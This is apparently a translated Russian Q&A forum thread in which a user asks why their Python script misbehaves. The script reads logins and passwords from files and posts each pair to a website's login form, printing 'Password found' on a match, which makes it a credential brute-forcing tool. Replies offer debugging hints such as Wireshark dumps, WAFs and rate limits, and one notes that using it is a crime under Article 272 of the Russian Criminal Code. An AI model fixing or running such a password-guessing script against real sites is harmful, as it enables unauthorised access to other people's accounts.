Answer the question
In order to leave comments, you need to log in
Why is Python behaving so strangely?
Good day!
There is the following code:
import requests
headers = {"user-agent":"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0"}
def Bot(login, password):
account = {
'login' : login,
'password' : password
}
#Открываем сессию
session = requests.Session()
#Формируем данные
post = {
'id1_hf_0': '',
'nick': account['login'],
'password': account['password']
}
#Отправляем POST- и GET- запросы
r = session.post('http://example', params=post, verify=False, headers=headers)
if "text" in r.text:
print ('Пароль найден: '+account['login']+':'+account['password'])
else:
print ('Пароль не найден.')
password_list = []
login_list = []
with open('pass.txt') as file:
password_list = [row.strip() for row in file]
with open('login.txt') as file:
login_list = [row.strip() for row in file]
Bot('Login','Password')
Bot('Login',password_list[0])
Bot(login_list[0],password_list[0])
Answer the question
In order to leave comments, you need to log in
What will be the result of this line?
And look at the wireshark dumps of requests to the site in both options, is there any difference. Most likely the login is incorrectly read from the file.
Maybe the site has a trite WAF or a limit on the number of authorization attempts ... look at the response codes from the server
I understand that this line:
Was changed so that you would not be burned on the toaster? Burned down. Or are you seriously on the line "text" determine whether authorization passed or not?
In general, the use of this code is 272 of the Criminal Code of the Russian Federation, for that matter.
Didn't find what you were looking for?
Ask your questionAsk a Question
731 491 924 answers to any question